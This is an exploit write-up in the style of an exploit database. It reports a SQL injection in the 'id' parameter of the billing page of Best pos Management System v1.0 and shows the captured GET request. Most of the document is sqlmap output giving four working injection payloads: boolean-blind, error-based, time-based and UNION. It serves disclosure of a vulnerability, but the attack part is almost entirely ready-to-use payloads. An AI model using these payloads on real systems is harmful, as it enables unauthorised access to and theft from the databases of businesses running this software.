Best pos Management System v1.0 - SQL Injection

# Exploit Title: Best pos Management System v1.0 - SQL Injection
# Google Dork: NA
# Date: 14/2/2023
# Exploit Author: Ahmed Ismail (@MrOz1l)
# Vendor Homepage: https://www.sourcecodester.com/php/16127/best-pos-management-system-php.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/mayuri_k/kruxton.zip
# Version: 1.0 
# Tested on: Windows 11
# CVE : NA

```
GET /kruxton/billing/index.php?id=9 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://localhost/kruxton/index.php?page=orders
Cookie: PHPSESSID=61ubuj4m01jk5tibc7banpldao
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
```

# Payload
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 58 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=9 AND 4017=4017

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=9 OR (SELECT 7313 FROM(SELECT COUNT(*),CONCAT(0x7162767171,(SELECT (ELT(7313=7313,1))),0x7178707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=9 AND (SELECT 5871 FROM (SELECT(SLEEP(5)))rwMY)

    Type: UNION query
    Title: Generic UNION query (NULL) - 6 columns
    Payload: id=-9498 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7162767171,0x53586b446c4c75556d48544175547856636d696171464e624c6572736f55415246446a4b56777749,0x7178707671),NULL-- -
---
[19:33:33] [INFO] the back-end DBMS is MySQL
web application technology: PHP 8.0.25, Apache 2.4.54
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
```